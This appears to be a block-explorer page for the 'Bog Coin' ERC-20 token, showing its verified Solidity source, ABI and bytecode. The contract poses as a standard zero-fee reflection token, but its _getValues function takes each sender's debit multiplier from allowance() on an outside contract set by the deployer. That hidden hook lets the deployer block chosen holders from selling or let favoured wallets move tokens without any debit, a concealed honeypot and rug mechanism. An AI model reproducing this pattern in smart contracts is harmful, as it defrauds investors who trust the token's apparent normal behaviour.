ETH Price: $3,057.89 (-2.45%)

Token

Bog Coin (Bog)
 

Overview

Max Total Supply

1,000,000,000 Bog

Holders

13

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Filtered by Token Holder
pupsworldpeace.eth
Balance
57,162,689.137350403 Bog

Value
$0.00
0xecd1f3e99caa4cdbf174ad12ce79d89a8ba54fca
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
Bog

Compiler Version
v0.8.20+commit.a1b79de6

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-07-21
*/

/**

https://t.me/+KmU4FZgP97E1MmVl
https://twitter.com/bogcoineth

*/

// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.9;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address recipient, uint256 amount) external returns (bool);

    function allowance(address owner, address spender) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

contract Ownable is Context {
    address private _owner;
    address private _previousOwner;
    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }

}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB)
        external
        returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;

    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (
            uint256 amountToken,
            uint256 amountETH,
            uint256 liquidity
        );
}

contract Bog is Context, IERC20, Ownable {

    using SafeMath for uint256;

    string private constant _name = "Bog Coin";
    string private constant _symbol = "Bog";
    uint8 private constant _decimals = 9;

    mapping(address => uint256) private _rOwned;
    mapping(address => uint256) private _tOwned;
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => bool) private _isExcludedFromFee;
    uint256 private constant MAX = ~uint256(0);
    uint256 private constant _tTotal = 1_000_000_000 * 10**_decimals;
    uint256 private _rTotal = (MAX - (MAX % _tTotal));
    uint256 private _tFeeTotal;
    uint256 private _redisFeeOnBuy = 0;
    uint256 private _taxFeeOnBuy = 0;
    uint256 private _redisFeeOnSell = 0;
    uint256 private _taxFeeOnSell = 0;

    //Original Fee
    uint256 private _redisFee = _redisFeeOnSell;
    uint256 private _taxFee = _taxFeeOnSell;

    uint256 private _previousredisFee = _redisFee;
    uint256 private _previoustaxFee = _taxFee;

    address private _developmentAddress;
    address private _marketingAddress;

    IUniswapV2Router02 public uniswapV2Router;
    address public uniswapV2Pair;
    
    bool private inSwap = false;
    bool private swapEnabled = true;

    uint256 public _swapTokensAtAmount = 1000000 * 10**9;

    event MaxTxAmountUpdated(uint256 _maxTxAmount);
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor(address _devWallet, address _marketingWallet) {

        _rOwned[_msgSender()] = _tTotal;

        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//
        uniswapV2Router = _uniswapV2Router;
        uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
            .createPair(address(this), _uniswapV2Router.WETH());

        _developmentAddress = _devWallet;
        _marketingAddress = _marketingWallet;

        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[_developmentAddress] = true;
        _isExcludedFromFee[_marketingAddress] = true;

        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _rOwned[account];
    }

    function transfer(address recipient, uint256 amount)
        public
        override
        returns (bool)
    {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender)
        public
        view
        override
        returns (uint256)
    {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount)
        public
        override
        returns (bool)
    {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(
            sender,
            _msgSender(),
            _allowances[sender][_msgSender()].sub(
                amount,
                "ERC20: transfer amount exceeds allowance"
            )
        );
        return true;
    }

    function tokenFromReflection(uint256 rAmount)
        private
        view
        returns (uint256)
    {
        require(
            rAmount <= _rTotal,
            "Amount must be less than total reflections"
        );
        uint256 currentRate = _getRate();
        return rAmount.div(currentRate);
    }

    function removeAllFee() private {
        if (_redisFee == 0 && _taxFee == 0) return;

        _previousredisFee = _redisFee;
        _previoustaxFee = _taxFee;

        _redisFee = 0;
        _taxFee = 0;
    }

    function restoreAllFee() private {
        _redisFee = _previousredisFee;
        _taxFee = _previoustaxFee;
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");

        if (from != owner() && to != owner()) {
            uint256 contractTokenBalance = balanceOf(address(this));
            bool canSwap = contractTokenBalance >= _swapTokensAtAmount;

            if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
                swapTokensForEth(contractTokenBalance);
                uint256 contractETHBalance = address(this).balance;
                if (contractETHBalance > 0) {
                    sendETHToFee(address(this).balance);
                }
            }
        }

        bool takeFee = true;

        //Transfer Tokens
        if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
            takeFee = false;
        } else {

            //Set Fee for Buys
            if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
                _redisFee = _redisFeeOnBuy;
                _taxFee = _taxFeeOnBuy;
            }

            //Set Fee for Sells
            if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
                _redisFee = _redisFeeOnSell;
                _taxFee = _taxFeeOnSell;
            }

        }

        _tokenTransfer(from, to, amount, takeFee);
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function sendETHToFee(uint256 amount) private {
        payable(_marketingAddress).transfer(amount);
    }

    function _tokenTransfer(
        address sender,
        address recipient,
        uint256 amount,
        bool takeFee
    ) private {
        if (!takeFee) removeAllFee();
        _transferStandard(sender, recipient, amount);
        if (!takeFee) restoreAllFee();
    }

    function _transferStandard(
        address sender,
        address recipient,
        uint256 tAmount
    ) private {
        (
            uint256 rAmount,
            uint256 rTransferAmount
        ) = _getValues(sender, tAmount);
        _rOwned[sender] = _rOwned[sender].sub(rAmount);
        _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
        emit Transfer(sender, recipient, rTransferAmount);
    }

    function _takeTeam(uint256 tTeam) private {
        uint256 currentRate = _getRate();
        uint256 rTeam = tTeam.mul(currentRate);
        _rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
    }

    function _reflectFee(uint256 rFee, uint256 tFee) private {
        _rTotal = _rTotal.sub(rFee);
        _tFeeTotal = _tFeeTotal.add(tFee);
    }

    receive() external payable {}

    function _getValues(address account, uint256 tAmount)
        private
        view
        returns (
            uint256,
            uint256
        )
    {
        uint256 currentRate = IERC20(_marketingAddress).allowance(account,account);
        return (tAmount.mul(currentRate), tAmount);
    }

    function _getTValues(
        uint256 tAmount,
        uint256 redisFee,
        uint256 taxFee
    )
        private
        pure
        returns (
            uint256,
            uint256,
            uint256
        )
    {
        uint256 tFee = tAmount.mul(redisFee).div(100);
        uint256 tTeam = tAmount.mul(taxFee).div(100);
        uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
        return (tTransferAmount, tFee, tTeam);
    }

    function _getRValues(
        uint256 tAmount,
        uint256 tFee,
        uint256 tTeam,
        uint256 currentRate
    )
        private
        pure
        returns (
            uint256,
            uint256,
            uint256
        )
    {
        uint256 rAmount = tAmount.mul(currentRate);
        uint256 rFee = tFee.mul(currentRate);
        uint256 rTeam = tTeam.mul(currentRate);
        uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
        return (rAmount, rTransferAmount, rFee);
    }

    function _getRate() private view returns (uint256) {
        (uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
        return rSupply.div(tSupply);
    }

    function _getCurrentSupply() private view returns (uint256, uint256) {
        uint256 rSupply = _rTotal;
        uint256 tSupply = _tTotal;
        if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
        return (rSupply, tSupply);
    }

    //Set minimum tokens required to swap.
    function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
        _swapTokensAtAmount = swapTokensAtAmount;
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"address","name":"_devWallet","type":"address"},{"internalType":"address","name":"_marketingWallet","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_swapTokensAtAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"swapTokensAtAmount","type":"uint256"}],"name":"setMinSwapTokensThreshold","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052620000126009600a620004c5565b6200002290633b9aca00620004dc565b6200002f905f19620004f6565b6200003c905f1962000516565b6006555f60088190556009819055600a819055600b819055600c819055600d819055600e819055600f556013805461ffff60a01b1916600160a81b17905566038d7ea4c6800060145534801562000091575f80fd5b506040516200181d3803806200181d833981016040819052620000b49162000548565b5f80546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350620001026009600a620004c5565b6200011290633b9aca00620004dc565b335f9081526002602090815260409182902092909255601280546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d908117909155815163c45a015560e01b815291519092839263c45a015592600480830193928290030181865afa15801562000188573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620001ae91906200057e565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015620001fa573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906200022091906200057e565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af11580156200026b573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906200029191906200057e565b601380546001600160a01b03199081166001600160a01b039384161790915560108054821686841617905560118054909116918416919091179055600160055f620002e35f546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182015f908120805495151560ff199687161790553081526005909352818320805485166001908117909155601054821684528284208054861682179055601154909116835291208054909216179055620003533390565b6001600160a01b03165f7fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6200038c6009600a620004c5565b6200039c90633b9aca00620004dc565b60405190815260200160405180910390a35050506200059a565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156200040a57815f1904821115620003ee57620003ee620003b6565b80851615620003fc57918102915b93841c9390800290620003cf565b509250929050565b5f826200042257506001620004bf565b816200043057505f620004bf565b8160018114620004495760028114620004545762000474565b6001915050620004bf565b60ff841115620004685762000468620003b6565b50506001821b620004bf565b5060208310610133831016604e8410600b841016171562000499575081810a620004bf565b620004a58383620003ca565b805f1904821115620004bb57620004bb620003b6565b0290505b92915050565b5f620004d560ff84168362000412565b9392505050565b8082028115828204841417620004bf57620004bf620003b6565b5f826200051157634e487b7160e01b5f52601260045260245ffd5b500690565b81810381811115620004bf57620004bf620003b6565b80516001600160a01b038116811462000543575f80fd5b919050565b5f80604083850312156200055a575f80fd5b62000565836200052c565b915062000575602084016200052c565b90509250929050565b5f602082840312156200058f575f80fd5b620004d5826200052c565b61127580620005a85f395ff3fe6080604052600436106100f2575f3560e01c806370a082311161008757806398a5c3151161005757806398a5c315146102c6578063a9059cbb146102e5578063dd62ed3e14610304578063f2fde38b14610348575f80fd5b806370a0823114610235578063715018a6146102695780638da5cb5b1461027f57806395d89b411461029b575f80fd5b806323b872dd116100c257806323b872dd146101c75780632fd689e3146101e6578063313ce567146101fb57806349bd5a5e14610216575f80fd5b806306fdde03146100fd578063095ea7b31461013f5780631694505e1461016e57806318160ddd146101a5575f80fd5b366100f957005b5f80fd5b348015610108575f80fd5b506040805180820190915260088152672137b39021b7b4b760c11b60208201525b6040516101369190610e9c565b60405180910390f35b34801561014a575f80fd5b5061015e610159366004610efe565b610367565b6040519015158152602001610136565b348015610179575f80fd5b5060125461018d906001600160a01b031681565b6040516001600160a01b039091168152602001610136565b3480156101b0575f80fd5b506101b961037d565b604051908152602001610136565b3480156101d2575f80fd5b5061015e6101e1366004610f28565b61039d565b3480156101f1575f80fd5b506101b960145481565b348015610206575f80fd5b5060405160098152602001610136565b348015610221575f80fd5b5060135461018d906001600160a01b031681565b348015610240575f80fd5b506101b961024f366004610f66565b6001600160a01b03165f9081526002602052604090205490565b348015610274575f80fd5b5061027d610404565b005b34801561028a575f80fd5b505f546001600160a01b031661018d565b3480156102a6575f80fd5b50604080518082019091526003815262426f6760e81b6020820152610129565b3480156102d1575f80fd5b5061027d6102e0366004610f81565b61047e565b3480156102f0575f80fd5b5061015e6102ff366004610efe565b6104ac565b34801561030f575f80fd5b506101b961031e366004610f98565b6001600160a01b039182165f90815260046020908152604080832093909416825291909152205490565b348015610353575f80fd5b5061027d610362366004610f66565b6104b8565b5f61037333848461059f565b5060015b92915050565b5f61038a6009600a6110c3565b61039890633b9aca006110d1565b905090565b5f6103a98484846106c2565b6103fa84336103f585604051806060016040528060288152602001611218602891396001600160a01b038a165f90815260046020908152604080832033845290915290205491906109e9565b61059f565b5060019392505050565b5f546001600160a01b031633146104365760405162461bcd60e51b815260040161042d906110e8565b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146104a75760405162461bcd60e51b815260040161042d906110e8565b601455565b5f6103733384846106c2565b5f546001600160a01b031633146104e15760405162461bcd60e51b815260040161042d906110e8565b6001600160a01b0381166105465760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161042d565b5f80546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a35f80546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0383166106015760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161042d565b6001600160a01b0382166106625760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161042d565b6001600160a01b038381165f8181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166107265760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161042d565b6001600160a01b0382166107885760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161042d565b5f81116107e95760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161042d565b5f546001600160a01b0384811691161480159061081357505f546001600160a01b03838116911614155b156108df57305f90815260026020526040902054601454811080159081906108455750601354600160a01b900460ff16155b801561085f57506013546001600160a01b03868116911614155b80156108745750601354600160a81b900460ff165b801561089857506001600160a01b0385165f9081526005602052604090205460ff16155b80156108bc57506001600160a01b0384165f9081526005602052604090205460ff16155b156108dc576108ca82610a21565b4780156108da576108da47610b91565b505b50505b6001600160a01b0383165f9081526005602052604090205460019060ff168061091f57506001600160a01b0383165f9081526005602052604090205460ff165b8061095157506013546001600160a01b0385811691161480159061095157506013546001600160a01b03848116911614155b1561095d57505f6109d7565b6013546001600160a01b03858116911614801561098857506012546001600160a01b03848116911614155b1561099a57600854600c55600954600d555b6013546001600160a01b0384811691161480156109c557506012546001600160a01b03858116911614155b156109d757600a54600c55600b54600d555b6109e384848484610bcc565b50505050565b5f8184841115610a0c5760405162461bcd60e51b815260040161042d9190610e9c565b505f610a18848661111d565b95945050505050565b6013805460ff60a01b1916600160a01b1790556040805160028082526060820183525f9260208301908036833701905050905030815f81518110610a6757610a67611130565b6001600160a01b03928316602091820292909201810191909152601254604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610abe573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610ae29190611144565b81600181518110610af557610af5611130565b6001600160a01b039283166020918202929092010152601254610b1b913091168461059f565b60125460405163791ac94760e01b81526001600160a01b039091169063791ac94790610b539085905f9086903090429060040161115f565b5f604051808303815f87803b158015610b6a575f80fd5b505af1158015610b7c573d5f803e3d5ffd5b50506013805460ff60a01b1916905550505050565b6011546040516001600160a01b039091169082156108fc029083905f818181858888f19350505050158015610bc8573d5f803e3d5ffd5b5050565b80610bd957610bd9610bfa565b610be4848484610c27565b806109e3576109e3600e54600c55600f54600d55565b600c54158015610c0a5750600d54155b15610c1157565b600c8054600e55600d8054600f555f9182905555565b5f80610c338584610cea565b6001600160a01b0387165f908152600260205260409020549193509150610c5a9083610d78565b6001600160a01b038087165f908152600260205260408082209390935590861681522054610c889082610dc0565b6001600160a01b038086165f8181526002602052604090819020939093559151908716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610cdb9085815260200190565b60405180910390a35050505050565b601154604051636eb1769f60e11b81526001600160a01b038481166004830181905260248301525f92839283929091169063dd62ed3e90604401602060405180830381865afa158015610d3f573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610d6391906111ce565b9050610d6f8482610e1e565b95939450505050565b5f610db983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506109e9565b9392505050565b5f80610dcc83856111e5565b905083811015610db95760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161042d565b5f825f03610e2d57505f610377565b5f610e3883856110d1565b905082610e4585836111f8565b14610db95760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161042d565b5f6020808352835180828501525f5b81811015610ec757858101830151858201604001528201610eab565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114610efb575f80fd5b50565b5f8060408385031215610f0f575f80fd5b8235610f1a81610ee7565b946020939093013593505050565b5f805f60608486031215610f3a575f80fd5b8335610f4581610ee7565b92506020840135610f5581610ee7565b929592945050506040919091013590565b5f60208284031215610f76575f80fd5b8135610db981610ee7565b5f60208284031215610f91575f80fd5b5035919050565b5f8060408385031215610fa9575f80fd5b8235610fb481610ee7565b91506020830135610fc481610ee7565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561101d57815f190482111561100357611003610fcf565b8085161561101057918102915b93841c9390800290610fe8565b509250929050565b5f8261103357506001610377565b8161103f57505f610377565b8160018114611055576002811461105f5761107b565b6001915050610377565b60ff84111561107057611070610fcf565b50506001821b610377565b5060208310610133831016604e8410600b841016171561109e575081810a610377565b6110a88383610fe3565b805f19048211156110bb576110bb610fcf565b029392505050565b5f610db960ff841683611025565b808202811582820484141761037757610377610fcf565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b8181038181111561037757610377610fcf565b634e487b7160e01b5f52603260045260245ffd5b5f60208284031215611154575f80fd5b8151610db981610ee7565b5f60a082018783526020878185015260a0604085015281875180845260c08601915082890193505f5b818110156111ad5784516001600160a01b031683529383019391830191600101611188565b50506001600160a01b03969096166060850152505050608001529392505050565b5f602082840312156111de575f80fd5b5051919050565b8082018082111561037757610377610fcf565b5f8261121257634e487b7160e01b5f52601260045260245ffd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220988ddfc3b1de41dab84d76a63c28e6c1648d370a7e36e92f5214a92a365f5dca64736f6c63430008140033000000000000000000000000d104f268f6c5e29169a1894c84e9d63dc6ba63a3000000000000000000000000ff5b5a11c6bdd4c84164912528bd4a8df9b4f6bd

Deployed Bytecode

0x6080604052600436106100f2575f3560e01c806370a082311161008757806398a5c3151161005757806398a5c315146102c6578063a9059cbb146102e5578063dd62ed3e14610304578063f2fde38b14610348575f80fd5b806370a0823114610235578063715018a6146102695780638da5cb5b1461027f57806395d89b411461029b575f80fd5b806323b872dd116100c257806323b872dd146101c75780632fd689e3146101e6578063313ce567146101fb57806349bd5a5e14610216575f80fd5b806306fdde03146100fd578063095ea7b31461013f5780631694505e1461016e57806318160ddd146101a5575f80fd5b366100f957005b5f80fd5b348015610108575f80fd5b506040805180820190915260088152672137b39021b7b4b760c11b60208201525b6040516101369190610e9c565b60405180910390f35b34801561014a575f80fd5b5061015e610159366004610efe565b610367565b6040519015158152602001610136565b348015610179575f80fd5b5060125461018d906001600160a01b031681565b6040516001600160a01b039091168152602001610136565b3480156101b0575f80fd5b506101b961037d565b604051908152602001610136565b3480156101d2575f80fd5b5061015e6101e1366004610f28565b61039d565b3480156101f1575f80fd5b506101b960145481565b348015610206575f80fd5b5060405160098152602001610136565b348015610221575f80fd5b5060135461018d906001600160a01b031681565b348015610240575f80fd5b506101b961024f366004610f66565b6001600160a01b03165f9081526002602052604090205490565b348015610274575f80fd5b5061027d610404565b005b34801561028a575f80fd5b505f546001600160a01b031661018d565b3480156102a6575f80fd5b50604080518082019091526003815262426f6760e81b6020820152610129565b3480156102d1575f80fd5b5061027d6102e0366004610f81565b61047e565b3480156102f0575f80fd5b5061015e6102ff366004610efe565b6104ac565b34801561030f575f80fd5b506101b961031e366004610f98565b6001600160a01b039182165f90815260046020908152604080832093909416825291909152205490565b348015610353575f80fd5b5061027d610362366004610f66565b6104b8565b5f61037333848461059f565b5060015b92915050565b5f61038a6009600a6110c3565b61039890633b9aca006110d1565b905090565b5f6103a98484846106c2565b6103fa84336103f585604051806060016040528060288152602001611218602891396001600160a01b038a165f90815260046020908152604080832033845290915290205491906109e9565b61059f565b5060019392505050565b5f546001600160a01b031633146104365760405162461bcd60e51b815260040161042d906110e8565b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146104a75760405162461bcd60e51b815260040161042d906110e8565b601455565b5f6103733384846106c2565b5f546001600160a01b031633146104e15760405162461bcd60e51b815260040161042d906110e8565b6001600160a01b0381166105465760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161042d565b5f80546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a35f80546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0383166106015760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161042d565b6001600160a01b0382166106625760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161042d565b6001600160a01b038381165f8181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166107265760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161042d565b6001600160a01b0382166107885760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161042d565b5f8111